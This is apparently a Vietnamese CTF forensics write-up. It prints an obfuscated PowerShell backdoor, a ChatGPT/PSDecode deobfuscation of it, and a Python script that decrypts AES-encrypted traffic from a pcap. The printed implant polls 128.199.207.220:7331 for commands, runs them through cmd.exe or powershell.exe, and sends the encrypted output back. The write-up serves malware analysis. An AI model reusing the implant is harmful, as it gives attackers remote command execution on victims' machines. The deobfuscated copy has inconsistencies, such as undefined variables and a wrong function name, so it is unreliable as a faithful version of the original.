Vào trang này có 1 file ps1, tải xuống về chạy ta tiếp tục có đoạn code sau
${8r`T3WA} = [tyPe]("{1}{8}{4}{6}{5}{9}{2}{3}{0}{7}"-F 'd',("{0}{1}"-f 'syS','TEm'),("{1}{0}"-f'ERM','h'),'O',("{0}{1}"-f 'eCUrI','tY'),("{0}{1}" -f 'h','Y.Ci'),("{0}{1}{2}" -f '.cry','P','TOGRap'),'e','.s','p') ;.('SV') ("{0}{1}"-f '72','j5O') ( [TYpe]("{9}{1}{4}{0}{8}{10}{6}{12}{7}{11}{3}{2}{5}" -F 'TY',("{1}{2}{0}" -f 'eC','Yst','em.s'),'Od','m','uri','e','p','Di',("{0}{1}" -f'.','cRY'),'s',("{2}{1}{0}"-f 'Y.','toGRapH','p'),'ng','aD') ) ; ${X`NfD}=[tyPe]("{2}{0}{1}{3}"-f 'te',("{0}{1}"-f'm','.cONV'),'Sys','ErT') ; ${H`LvW1} = [tYPe]("{2}{4}{3}{5}{1}{0}" -f 'iNG',("{0}{2}{1}" -f 't','Od','.EnC'),'S',("{1}{2}{0}"-f '.t','S','tEM'),'Y','EX'); .("{0}{2}{1}" -f'SeT','m',("{0}{1}"-f'-iT','e')) (("{0}{1}"-f 'vA','RI')+("{0}{1}" -f 'a','bLE')+("{1}{0}" -f'y7',':92')) ( [Type]("{1}{2}{0}" -F ("{1}{0}{2}"-f 'NEt.dn','eM.','S'),'Sys','t')) ; ${U`JX`Rc}=[tyPE]("{1}{2}{0}" -F 'nG','Str','i') ;
function Cr`EATe-`AeS`manA`GeDo`B`Je`Ct(${vx`ZT`mff}, ${5`T`MRWpLUy}) {
${AJuJ`V`RAZ`99} = .("{1}{2}{3}{0}"-f 't',("{0}{1}" -f'Ne','w-'),("{1}{0}" -f 'e','Obj'),'c') ("{7}{9}{8}{0}{10}{2}{6}{5}{3}{11}{1}{4}"-f 'ty','nag',("{0}{2}{1}" -f 'Cry','o','pt'),'y','ed','ph','gra',("{0}{1}"-f'Sy','stem.'),("{0}{1}"-f 'ecur','i'),'S','.',("{0}{2}{1}" -f'.','sMa','Ae'))
${AJUjvr`AZ`99}."Mo`de" = ( .("{1}{2}{0}" -f 'lE',("{1}{0}" -f't-vA','gE'),("{1}{0}" -f'Ab','RI')) ("8rt"+"3Wa") -Value )::"c`Bc"
${aJuj`V`RAZ99}."PA`d`dInG" = ( .("{0}{1}"-f 'Di','r') ("{2}{3}{0}{1}"-f'le:72j5','o','v','ARIab') )."VA`LUe"::"ze`Ros"
${A`JUJvr`Az`99}."Bl`O`ckSizE" = 128
${Aju`Jv`RAz`99}."keysI`ze" = 256
if (${5`TM`RWPluy}) {
if (${5`TmR`WpLuy}.("{0}{1}{2}" -f ("{1}{0}"-f 'tT','ge'),'y','pe')."iNV`O`ke"()."n`AME" -eq ("{0}{2}{1}" -f 'St','g','rin')) {
${a`j`U`jvRaZ99}."Iv" = (&("{1}{0}"-f'r','di') ("{0}{1}{2}{3}" -f 'va','RI','aB','le:xNFd'))."vAl`Ue"::("{1}{2}{3}{0}"-f 'ing','Fro',("{1}{0}{2}" -f'se','mBa','64'),'Str')."In`VOKe"(${5TMRW`Pl`Uy})
}
else {
${ajUj`VraZ`99}."I`V" = ${5tmRw`PL`Uy}
}
}
if (${Vx`ZtM`FF}) {
if (${VXz`T`mfF}.("{1}{2}{0}" -f ("{1}{0}"-f'e','Typ'),'g','et')."I`NvoKe"()."n`AME" -eq ("{1}{0}" -f 'ing','Str')) {
${ajU`j`VraZ99}."K`ey" = ( &('LS') (("{0}{1}"-f'V','ariAb')+'l'+("{0}{1}" -f 'e:XN','F')+'D') )."vA`luE"::("{1}{0}{2}{3}"-f'e',("{1}{0}" -f'as','FromB'),'64S',("{1}{0}" -f 'ng','tri'))."invO`Ke"(${vx`z`TmFF})
}
else {
${AjU`J`Vr`AZ99}."k`ey" = ${v`Xz`Tmff}
}
}
${aJUjvRA`Z`99}
}
function e`N`CRYpT(${VxzT`M`Ff}, ${RO`FPdq`R`F99}) {
${B`y`TES} = ( .("{1}{0}"-f ("{1}{2}{0}"-f 'e','arI','abl'),'v') (("{1}{0}" -f'lvW','h')+'1') )."vAL`UE"::"u`Tf8".("{2}{0}{1}" -f 'yt','es',("{0}{1}" -f 'G','etB'))."INV`o`kE"(${r`O`FpdQRF99})
${ajujVR`AZ`99} = .("{4}{0}{2}{5}{3}{1}"-f("{1}{0}" -f'-','eate'),'ct','Ae',("{1}{0}" -f'e','edObj'),'Cr',("{1}{0}{2}"-f 'Ma','s','nag')) ${VX`ZtM`Ff}
${qD`IqL`GaQ99} = ${aJuj`VR`AZ99}.("{1}{2}{0}" -f'or',("{0}{1}{2}" -f'Create','En','c'),("{1}{0}" -f 't','ryp'))."in`VoKe"()
${lw`i`hYmIF99} = ${Qd`i`qLgaq99}.("{3}{4}{1}{0}{2}"-f ("{0}{1}{2}"-f 'nal','Bl','o'),("{1}{0}" -f'mFi','for'),'ck','Tra','ns')."i`NvO`Ke"(${b`yTeS}, 0, ${b`y`Tes}."Le`NgTh");
[byte[]] ${f`J`AxUWQ`N99} = ${A`Ju`jvR`Az99}."Iv" + ${lW`iHYmiF`99}
${aj`UJ`V`RAZ99}.("{1}{2}{0}"-f 'e','Dis','pos')."i`NVO`KE"()
${x`NFd}::"tOBase6`4`S`TRi`NG"."i`Nvoke"(${Fj`A`X`UWqN99})
}
function deC`Ry`PT(${VXzt`m`FF}, ${b`KJrxQ`Cf`99}) {
${bYT`Es} = (&("{0}{2}{1}" -f'v',("{0}{1}" -f 'i','able'),'AR') ('xnf'+'d') )."Va`luE"::("{3}{1}{2}{0}" -f ("{0}{1}" -f'r','ing'),'o',("{2}{0}{1}"-f'e6','4St','mBas'),'Fr')."InV`OKE"(${Bk`jRx`qcF99})
${5t`MR`WpLuY} = ${B`Y`Tes}[0..15]
${aJu`JVra`z99} = .("{0}{2}{4}{3}{1}" -f ("{1}{0}"-f'rea','C'),("{1}{0}"-f 'ect','j'),("{0}{1}" -f't','e-Aes'),'dOb',("{0}{1}{2}"-f'Mana','g','e')) ${VxZTm`FF} ${5TMRw`p`LUY}
${MNDm`WYnB`99} = ${AJ`Ujv`RA`z99}.("{4}{0}{2}{1}{3}" -f'ea','ry',("{0}{1}"-f'te','Dec'),("{0}{1}"-f'p','tor'),'Cr')."In`Voke"();
${A`htL`MYh`l99} = ${M`ND`mWynB99}.("{0}{3}{1}{4}{5}{2}"-f 'T',("{0}{1}"-f 'fo','rmFi'),("{1}{0}"-f'lock','B'),("{1}{0}" -f's','ran'),'na','l')."i`Nvo`kE"(${b`Y`TES}, 16, ${b`yTeS}."lENg`TH" - 16);
${A`J`UjVRAZ99}.("{1}{0}"-f 'se',("{1}{0}" -f 'spo','Di'))."IN`VO`KE"()
${HLV`W1}::"uT`F8"."G`E`TStri`Ng"(${AhtL`m`Y`hl99})."T`RIM"([char]0)
}
function Sh`ELL(${DfJz`1co}, ${y`o`8xm5}){
${Cw`zVY`VJ} = &("{1}{2}{0}" -f 'ct','Ne',("{0}{1}"-f 'w-O','bje')) ("{4}{3}{5}{0}{1}{2}"-f ("{5}{2}{0}{3}{4}{1}"-f'P','I','cs.','roc','essStart','i'),'n','fo',("{0}{1}"-f'ys','te'),'S',("{0}{2}{1}"-f'm.Di','st','agno'))
${Cw`ZVy`Vj}."FIlena`me" = ${DFjZ1`co}
${C`W`zvYvj}."r`eDIRec`TsT`AnDaRdERr`OR" = ${T`Rue}
${cwZ`V`YVJ}."ReDIRE`cT`s`TANdar`DoUTPUT" = ${tR`Ue}
${C`WZv`yVJ}."USEs`hELl`eXeC`U`Te" = ${F`ALsE}
${c`wzvy`VJ}."aRg`UmENtS" = ${yO8`x`m5}
${p} = .("{0}{2}{1}" -f'New',("{1}{0}"-f 'ject','Ob'),'-') ("{6}{0}{4}{3}{1}{2}{5}" -f("{1}{2}{0}" -f 'Dia','yst','em.'),("{1}{2}{0}"-f 'P','o','stics.'),'ro','n','g',("{0}{1}" -f 'ces','s'),'S')
${P}."s`T`ArTiN`FO" = ${C`W`zvYVj}
${p}.("{1}{0}" -f("{1}{0}"-f'art','t'),'S')."INvo`KE"() | &("{2}{1}{0}"-f'l',("{1}{0}" -f'Nul','t-'),'Ou')
${P}.("{2}{1}{0}{3}"-f'Exi',("{0}{1}"-f 'tF','or'),'Wai','t')."inv`oKE"()
${BHnxN`Ur`W99} = ${p}."sta`Ndar`dOu`TpUT".("{2}{0}{1}" -f("{1}{0}" -f 'En','To'),'d',("{0}{1}" -f 'R','ead'))."I`NV`OkE"()
${NmWkj`O`A`B99} = ${p}."St`A`N`dArde`RrOR".("{2}{1}{3}{0}"-f'nd','To',("{1}{0}" -f'd','Rea'),'E')."Inv`o`ke"()
${k`C`NjcQdL} = ('VAL'+'ID '+"$BhnXnUrW99`n$nmWKJOAb99")
${K`cnJcQ`Dl}
}
${FZvyCr} = ("{0}{2}{3}{1}" -f '12',("{0}{1}{2}"-f '.2','07',("{1}{0}" -f'20','.2')),'8',("{1}{0}"-f'9','.19'))
${t`wFTrI} = ("{0}{1}"-f'7','331')
${VxzTmff} = ("{2}{1}{4}{6}{3}{0}{7}{5}"-f 'XI',("{0}{1}{2}" -f 'w',("{0}{1}" -f 'jM7','m2'),'c'),("{0}{1}" -f 'd','/3K'),'u','GAt','+M=',("{0}{1}{2}" -f'L','I',("{1}{0}"-f("{1}{0}"-f'lhD','7K'),'6')),("{0}{2}{3}{1}"-f("{2}{1}{0}"-f 'KST','XR','/'),'R',("{0}{1}"-f'k',("{1}{0}"-f'lmJ','O')),("{0}{1}"-f 'XE','42')))
${n} = 3
${C`w`j2TWh} = ""
${yC`RU`Tw} = ${9`2Y7}::("{2}{0}{1}"-f("{1}{0}{2}"-f't','etHos','N'),'ame','G')."in`VoKE"()
${F`N`FFGXDzj} = "p"
${D`FctD`FM} = (("{0}{1}" -f'ht','tp') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/reg")
${kV`QBXbuR} = @{
("{0}{1}"-f 'n','ame') = "$YCRUTw"
("{1}{0}"-f 'pe','ty') = "$fNFFGXDZJ"
}
${CWj2`TWh} = (&("{4}{3}{2}{0}{1}"-f '-',("{1}{2}{0}"-f't','W','ebReques'),'ke','nvo','I') -UseBasicParsing -Uri ${d`Fct`DFM} -Body ${k`V`qBxbUr} -Method ("{1}{0}"-f'OST','P'))."co`N`TENT"
${TvYM`e`YrR99} = (("{0}{1}"-f'htt','p') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/results/$cWJ2Twh")
${i`JfySE2} = (("{1}{0}" -f 'p','htt') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/tasks/$cWJ2Twh")
for (;;){
${M`A04XM`gY} = (.("{2}{0}{3}{1}{4}" -f'n',("{0}{1}"-f'q','ues'),'I',("{0}{1}{2}" -f 'voke-W','e','bRe'),'t') -UseBasicParsing -Uri ${I`J`FYSE2} -Method 'GET')."cO`N`TeNt"
if (-Not ${UJX`Rc}::("{1}{0}{3}{2}"-f 'l',("{0}{1}"-f'IsN','ul'),("{1}{0}{2}" -f 'mpt','rE','y'),'O')."INvO`Ke"(${M`A04XmGy})){
${m`A04XM`gY} = .("{0}{1}" -f("{1}{0}" -f 'r','Dec'),'ypt') ${V`XZ`Tmff} ${Ma04X`MgY}
${mA0`4X`MgY} = ${ma0`4`XMgy}.("{1}{0}"-f'it','spl')."INv`okE"()
${FL`AG} = ${MA04`x`mgY}[0]
if (${Fl`Ag} -eq ("{0}{1}" -f 'VAL','ID')){
${WB1`SWYo`je} = ${MA04`X`MgY}[1]
${yO8`X`M5S} = ${Ma0`4XMgY}[2..${MA04x`mgY}."LeNg`TH"]
if (${wb1s`Wyo`Je} -eq ("{1}{0}"-f'l',("{1}{0}" -f'hel','s'))){
${F} = ("{0}{1}{2}"-f 'c',("{1}{0}" -f'e','md.'),'xe')
${y`O`8XM5} = "/c "
foreach (${a} in ${yo8`xM`5s}){ ${Yo8`x`m5} += ${a} + " " }
${KcNJ`C`QdL} = .("{0}{1}"-f 'sh','ell') ${f} ${yo`8xM5}
${kCnjCQ`DL} = .("{1}{2}{0}"-f 'pt','Enc','ry') ${VxztM`FF} ${kc`Nj`cqdl}
${kvqbX`B`Ur} = @{("{1}{0}" -f 'lt',("{0}{1}" -f 'r','esu')) = "$KcnJCQDl"}
&("{3}{0}{1}{4}{2}" -f'ke','-W',("{0}{1}" -f 'qu','est'),("{0}{1}"-f'I','nvo'),("{1}{0}" -f 'bRe','e')) -UseBasicParsing -Uri ${tV`yM`Ey`RR99} -Body ${k`V`QbXbur} -Method ("{1}{0}" -f 'T','POS')
}
elseif (${Wb1Sw`Y`OJe} -eq ("{1}{0}{2}"-f 'owe','p',("{2}{1}{0}" -f 'l','l','rshe'))){
${f} = ("{0}{3}{4}{1}{2}" -f ("{0}{1}"-f'p','owers'),'e','xe','he','ll.')
${yO`8X`m5} = "/c "
foreach (${a} in ${Y`o8xM5s}){ ${YO8x`m5} += ${a} + " " }
${kc`Nj`cqdL} = &("{0}{1}" -f 'she','ll') ${F} ${yO`8`XM5}
${k`cn`jCQDL} = .("{0}{1}"-f ("{0}{1}" -f 'En','cr'),'ypt') ${vXZT`mfF} ${KCN`jcqDl}
${KVqb`x`BUr} = @{("{1}{0}"-f ("{0}{1}" -f 'es','ult'),'r') = "$KcnJCQDl"}
&("{0}{2}{4}{5}{1}{3}"-f'Inv',("{0}{1}"-f 'WebR','e'),'o',("{1}{0}" -f 'st','que'),'ke','-') -UseBasicParsing -Uri ${tvyMEY`R`R99} -Body ${k`V`qBXb`Ur} -Method ("{1}{0}" -f 'OST','P')
}
elseif (${wb`1swYO`Je} -eq ("{0}{1}"-f 'sl','eep')){
${n} = [int]${yO`8Xm`5S}[0]
${kV`Q`BXbur} = @{("{0}{1}"-f're',("{0}{1}"-f 'su','lt')) = ""}
&("{2}{0}{4}{1}{3}" -f 'o',("{1}{0}"-f 'Re','Web'),'Inv',("{0}{1}"-f'qu','est'),'ke-') -UseBasicParsing -Uri ${tV`Ymeyr`R`99} -Body ${Kv`QBXBur} -Method ("{1}{0}" -f 'T','POS')
}
elseif (${wb`1sWy`ojE} -eq ("{1}{0}"-f'e',("{1}{0}"-f'm','rena'))){
${c`wJ2t`Wh} = ${Y`O8Xm`5S}[0]
${TVY`mey`Rr99} = (("{1}{0}" -f'tp','ht') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/results/$cWJ2Twh")
${ijF`Ys`E2} = (("{1}{0}"-f'ttp','h') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/tasks/$cWJ2Twh")
${kV`Qb`XbUr} = @{("{1}{0}" -f'lt',("{1}{0}" -f 'esu','r')) = ""}
.("{0}{1}{4}{2}{3}" -f 'Inv',("{0}{1}{2}" -f'ok','e-','WebR'),'qu','est','e') -UseBasicParsing -Uri ${TVY`mEyR`R`99} -Body ${KvqBxb`Ur} -Method ("{1}{0}"-f 'OST','P')
}
elseif (${w`B1s`WYOJe} -eq ("{0}{1}" -f 'qu','it')){
exit
}
}
.("{1}{0}"-f 'p',("{0}{1}"-f'sl','ee')) ${N}
}
}
Sử dụng ChatGPT + PSDecode thu được. Đoạn code này chỉ để tham khảo có thể không thực thi đúng hoàn toàn so với code gốc
$CIPHER_MODE = [System.Security.Cryptography.CipherMode]::CBC
$PADDING_MODE = [System.Security.Cryptography.PaddingMode]::Zeros
$CONVERT_TYPE = [System.Convert]
$TEXT_ENCODING_TYPE = [System.Text.Encoding]
$DNS_TYPE = [System.Net.Dns]
$STRING_TYPE = [System.String]
function Create-AesManageObject($iv, $key) {
$aesManaged = New-Object System.Security.Cryptography.AesManaged
$aesManaged.Mode = $CIPHER_MODE
$aesManaged.Padding = $PADDING_MODE
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($iv) {
if ($iv.GetType().Invoke().Name -eq $STRING_TYPE) {
$aesManaged.IV = $CONVERT_TYPE::FromBase64String.Invoke($iv)
} else {
$aesManaged.IV = $iv
}
}
if ($key) {
if ($key.GetType().Invoke().Name -eq $STRING_TYPE) {
$aesManaged.Key = (Get-Variable XNFD).Value::FromBase64String.Invoke($key)
} else {
$aesManaged.Key = $key
}
}
$aesManaged
}
function Encrypt($key, $input) {
$aesManaged = Create-AesManageObject $key
$encryptor = $aesManaged.CreateEncryptor()
$bytes = [System.Text.Encoding]::UTF8.GetBytes($input)
$encryptedBytes = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
$result = $aesManaged.IV + $encryptedBytes
$aesManaged.Dispose()
[Convert]::ToBase64String($result)
}
function Decrypt($key, $input) {
$aesManaged = Create-AesManageObject $key
$decryptor = $aesManaged.CreateDecryptor()
$bytes = [Convert]::FromBase64String($input)
$iv = $bytes[0..15]
$inputData = $bytes[16..($bytes.Length - 1)]
$decryptedBytes = $decryptor.TransformFinalBlock($inputData, 0, $inputData.Length)
$result = [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Trim([char]0)
$aesManaged.Dispose()
$result
}
function Shell($filename, $arguments) {
$processStartInfo = New-Object System.Diagnostics.ProcessStartInfo
$processStartInfo.Filename = $filename
$processStartInfo.RedirectStandardError = $true
$processStartInfo.RedirectStandardOutput = $true
$processStartInfo.UseShellExecute = $false
$processStartInfo.Arguments = $arguments
$process = New-Object System.Diagnostics.Process
$process.StartInfo = $processStartInfo
$process.Start() | Out-Null
$process.WaitForExit()
$output = $process.StandardOutput.ReadToEnd()
$errorOutput = $process.StandardError.ReadToEnd()
"VALID: " + "$output`n$errorOutput"
}
$serverIP = '128.199.207.220'
$serverPort = '7331'
$key = 'd/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M='
$delay = 3
$currentTask = ""
$hostname = [System.Net.Dns]::GetHostName()
$requestUri = "http://$serverIP:$serverPort/reg"
$body = @{
'name' = $hostname
'type' = "p"
} | ConvertTo-Json
$taskUrl = "http://$serverIP:$serverPort/tasks/$currentTask"
$resultUrl = "http://$serverIP:$serverPort/results/$currentTask"
for (;;) {
$content = Invoke-WebRequest -UseBasicParsing -Uri $url -Method 'GET' | Select-Object -ExpandProperty "Content"
if (-Not $response::Invoke($content)) {
$decryptedContent = Decrypt-XTEA $key $content
$splitContent = $decryptedContent.Split().Invoke()
$flag = $splitContent[0]
if ($flag -eq "VALID") {
$action = $splitContent[1]
$parameters = $splitContent[2..$splitContent.Length]
if ($action -eq "shell") {
$executable = "cmd.exe"
$arguments = "/c "
foreach ($parameter in $parameters) {
$arguments += $parameter + " "
}
$result = &("shell") $executable $arguments
$encryptedResult = &("Encrypt") $key $result
$postBody = @{("result") = "$encryptedResult"}
Invoke-WebRequest -UseBasicParsing -Uri $apiUrl -Body $postBody -Method "POST"
}
elseif ($action -eq "powershell") {
$executable = "powershell.exe"
$arguments = "/c "
foreach ($parameter in $parameters) {
$arguments += $parameter + " "
}
$result = &("shell") $executable $arguments
$encryptedResult = &("Encrypt") $key $result
$postBody = @{("result") = "$encryptedResult"}
Invoke-WebRequest -UseBasicParsing -Uri $apiUrl -Body $postBody -Method "POST"
}
elseif ($action -eq "sleep") {
$duration = [int]$parameters[0]
$postBody = @{("result") = ""}
Invoke-WebRequest -UseBasicParsing -Uri $apiUrl -Body $postBody -Method "POST"
Start-Sleep $duration
}
elseif ($action -eq "scheduling") {
$taskID = $parameters[0]
$resultsUrl = "http://$serverAddress:$port/results/$taskID"
$taskUrl = "http://$serverAddress:$port/tasks/$taskID"
$postBody = @{("result") = ""}
Invoke-WebRequest -UseBasicParsing -Uri $resultsUrl -Body $postBody -Method "POST"
Invoke-WebRequest -UseBasicParsing -Uri $taskUrl -Body $postBody -Method "POST"
}
elseif ($action -eq "quit") {
exit
}
}
Start-Sleep $delay
}
}
Nhận xét: Đoạn PS trên kết nối tới server 128.199.207.220
đồng thời mã hóa bằng AES CBC
với $key = 'd/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M='
Quay trở lại pcapng, ta thấy một số kết nối bị mã hóa
Filter pcap với ((ip.dst == 128.199.207.220) || (ip.src== 128.199.207.220)) && (http) && !(frame contains "NO CONTENT") && !(frame contains "IFDRBU")
và decrypt từng gói tin 1 ta thu được
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Cipher import AES
from base64 import b64decode
import urllib.parse
key = b64decode("d/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M=")
iv = bytes([i for i in range(16)])
cipher = AES.new(key, AES.MODE_CBC, iv = iv)
def decrypt(cipher, b64):
return cipher.decrypt(b64decode(urllib.parse.unquote(b64)))
b = "h%2FREF9LOiNe2K46pgej%2Bc%2B5lFaMRnx40uJ6JVD8quWGTNi69IUUiPkoWxdstces12SyXDdgI9HwW37xqmPlGP2coNqmqBEJV2TgbhWHilslzeXOW3nuRNJ7xqbsjAlYZvzTdQnFNByCYUHEXnh%2FuctV0zSYIP23QvJRPm617f%2F%2Ba4lshe8xLjPc%2FChkjhkpX8lrOYKugW0imPMolvoySj567nkoXF95PwGFIjrbhn9%2FjqjKNWba2NRM1Zwkqrqk1O3OwOuYolcVjfl8CtRv3qIklviAKqfYS3WEXZq4%2ByYlICfZEVekO%2BLTkyhFmbnF6LHp6ZqN6CBTT3kIZfPQrIR8mhrBSvMXVC3ErTYRMEhcvKDWkn4HuuJh9TEoqqdKQERujl5LLq0IPIHAPE%2Bxd%2BYGcUGhNb%2BovozsGCBksquh6qGQYDS5XQsc43XKdBqnFoP9XZTa6p4KNVBvNXuR8CvPDhmKDeZTpdKtsESRKsmtaPfj8Qle7zu3kfbd2b0RCddz7THUD46%2Be0UjwTt8%2ByofKQVz3JHmEwqNCSxtagvHm1hMBnfpLWTwOzAc9H0r4IswJinMb0ovt1dFWGSdbzc4s%2F%2BYLSefDedRZHXW9FWqSgoIXGBc%2BEQhuFvQQPiI6hTTq64Y8%2BQpBBrGzXbop83rDGPBPs9ZtvafVDNY4bA5NMCuytOUB4jK50QgfpPjIlVfMajThihRhdoa6dJlquVlNq4pcFX3eTqX%2BUFQldlmwPyxVgIF8uXGJRg2UMuwYVYDq0nOCUPibCJ8H7pwbhSVMF87L1wpIgP2%2FeBSF1MIyfu621hIoXMLibDUaxLupq%2BFXoIhms%2B5Ow8kyxdi8EOZA55A2B5p2%2BY9kZwaIpPsuPk3h78J%2BQvDmDwbe2U4IMSXVv252Tqumbymw4pmNNxzXQRCEQ4BlcGwOPYqxPBkxdg3k%2BFW1zPAFSNKy5X38MCszAZ%2Fi1dcXYwShjj4VrZLMM%2BzitYwCAr5xxPRErG3dHd4ozN8jK6tkOGXtb8Q9smcQGtMLygl198EfXttQuieaEOwncrmoRVv3QV6%2Bwo4qZ%2FjUx7KLXakmGhhnr4p6K4dLwT7QROiStuVUyuxNr7BisEhTKU5PpiSvCwoEl2%2BvYv%2BXfXC8kAK7%2BUZhJ7jW3EeNAlGq3vwo%2BPE0DFUFaN%2FyiCsaYQanw5s6Q2%2BboNph7ybKBU1jKj%2BcqnCh4clum6ZImXKmugKzzQI5B595kkgci2GmqK8ctnU7xOuVP4GH3VQkt4HttbeE%2BQ9QDM5QaI8AOi2WUl%2B%2BW3bevqPf4wSPnk4kAc%2F%2FcSdpHI%2B90U%2FNzsiwlMQ8VAoPjJ%2Bb2VHWO51%2F1UqXUTnsWqCtM08dtHnxmwdfp3mHLE1DDWk%2BFxu%2F6%2BhNQFv4hM5ir4IC5Jw2dhjY0e5JZ8s1dd28s%2BDzKNk8AaMq%2Bh0ONWkzK6YF1mW8bXNSHaP2Ag9EnP50KPPZztfcwjUiy7dYR2oXqIPJiS9NwzoijJ%2FllTFPNOH7%2FvU5pBpcg7I%2Brqkr%2FayCW2si3md4es2Mr21p0z8itsrDErrawjX7cb30rR7BEEY%2B9fUz%2FuxSvafuFG0CEUZxdXljsPNz94%2FANu4qAiAqxZeRwMr%2BMZsyX%2FdYZoREl74sk4mOg0ilLhmTfFFN6d0te1es"
b = "RrzBf9o5vTBf+vInYW3OTzBvvNIWSyyKsx6v25jOD9roPGP4gOhaHPc/u7l804cs"
b = "aix8RxrqFg9Wi2uiE6B8BVgr5L51x55Cxxxw4zppPONqXskKoe+N7OMDg1d06pTj"
b = "tp4pZ9OgpI9uxr4sNupHQJE5hBlTVd7NbIK21rjApBf15tj9AuNo6OU/zJ/K3REi"
b = "luFqXmiFN1kyXfGkxrD9GukoecDD5s6XLJwlHJ2T%2FYu7F8NkHwvBwut0us0%2FrbsJabWaVH47WHTwPEdGnj2rxdsm0o7dns4ptkRQ4ckX9uxwMLKqFWygzb9oSVA7BR7ilsjkBwvvSJDmKCOcITICTg%3D%3D"
b = "bK2FX23ydWGbJNdJliRrDqjOE17p1YakRt2cjgaRJJv0zAVVro+Gq1waD0ui+lCe"
b = "syJFxAeJjdsNXrRpzEenYfY45X1Ag%2B3DMc%2B8V1moMH4J97dMf4DD5lMiQEBNAohIxmnjYG2bD9sFzLh9sCNXQnr5xrzGDSqKzXi%2BCbMGYkyvfAovaK7DrdzdwR%2BwMHQPju7ujDz2m0W2G3mlpLv%2Bfz29mEFb6EbtJpcwN%2BmVkjPsWTiLtqNisztY2OgCvKkjDLD21Ke2iizhhDDcFWOc4gz5PQSXxlELaPsbZ10fiVEVFWUXNLAM3MTUgHmQuYA9AHCqWQmSewV1%2FiIcoZ%2BFwJB2H2SJSnZtLLhNsBkSgGYVaeAr%2F2CzKRWEa611H6blwl%2BSwh6tz9Fc3UiSAu210vUrdTWAT7t2rVPBFTsg4O1wuDxBacdP1aVsYAKCPUygpxxnxwjdesiDuja1nNU7ZfB%2F%2BAhbwx5dF1AB7hgLT5AQkLWehwfrx4bIz40JUJth7S4oNSpoLir3Zztd8t%2FLyEOO7qZEpr8d5libGZngrYUxoOEMJkoeMk6rfepBioDMFsKQ03ZgbHLnfXvhNdgRuYlV9wucD3NJitZ%2Be1bTPxEabcboTu%2F7lq0CrxQvuU%2BZnpedwvEu7OgjVldq3W26tEHWSk3TXBYjloJFhihNxzaLXNRtFwa85t%2FHsbUg2K2j7aJZoStBG6sa8%2B8KiXJ48WAgnaWamXsxMUIlC3UzDlHl%2FmEdMljsJJRx74v%2BdcOgcrE7lHP7hd4zG4L0OHhiIB2p%2F69rUeQtUABJMc9gijLZ51Lh8TMeG074biK1SO0nANJaS8Eow0wV%2F%2Br9u488OqNALJ%2BJc6fgY1JRLT3rBIiBFwH520oqaH6CcuMlIV4hpka%2BBRseU5X6FyPT5SR6Pf7TIF8MHT1NBZzVxH%2BeGkBxLMbZYt39FZLtWpYXOEQbghxUT4svtsphzGnF9FbMMlxe8d1ATfCm7CQDqeC4Bviq60oWDjupDi%2F5%2FRgHLh%2BGJooVOka4sofTwEckFJif5d6v26rgrcfr51Y6RebUCoxUGQfdgoityTeHfmeIK5aXVCSNePQmsMEFIrCl0E7ncnFJ649yVQ6nvDNhxCqWL%2Bz%2F7N5admwm7rdXotv7l5GPJ9G7FQW5jCLJ0MwUgK%2ForGEJo93%2FSI4p6pVRVl7L8cGaeGOc1WhWVRU4wWlDVC1xurRMjjrXgrjsDe0Y9iFkTlDw6rJeUd4kKTu%2FFsiYcF9Xdj2bpP8kLZu4OaSNkZ3UEwqLs%2BPca8v%2BR2q2BX0mjNleYmZsyYqrISDh3KuF4iBv6INaguDECQ%2BwHHr25L9CjYmu%2FnIlJmyB0OycbAH%2FZq9LSMSIzdD6enlxGdQBfuvtYpAPHfQ4bmao3xQxsD09gjA0IjN05l8Bv3cUklK0gTkANUEVhUGbQ7LgNC8A5G%2BEpUB32ur72Y%2BNAFLeCAdYd8czsz%2B51KKNQr3V29Q1kXZXGXRqNUPva8kDofwCtt8Hmg554%2B0YxENNY5S7b72H7Jw4kxQa%2BOe2vkEnBl6EbDVi2gqFdOwvCqQD7cLP5l7tbkbWRBltCKpvlaz3pJd4%2FxuBkVCZDBMqoF%2FPUIt4mPDhmN02hrA5jV15fo%2Bod8lYFazxxZAjg4vV5meEL3K3hJfSSmTtLcuXpCHwxDA1%2BvOcGVsapwTn2vIlyuOlq3AgqKcXr1aFb6DJYjnIg%2Fo8gbJX3lE%2Fb0ZlVPYFBx0WfI0A%2FSWRsmNM7ICTJCXrGnkLKTyfwXXtWhJt3B4FVgdn"
b = "uGjyY6GcnabYem8450v+e256asufK4JUhfW5/KQfyPeAIkmBiQcwBoQbI8z7v9NLyH9Gwi4k6ViFL0nMTCGGWS0TSS6vqWRHa4ADkfcaVFhcjLmBV23dnOfSoCGUWzCg4TBcpDtc+C4QOc/v+dZSL2ytww2c8+pY1dGwth89dVWej8qifotdP0I9p3f/WNCf"
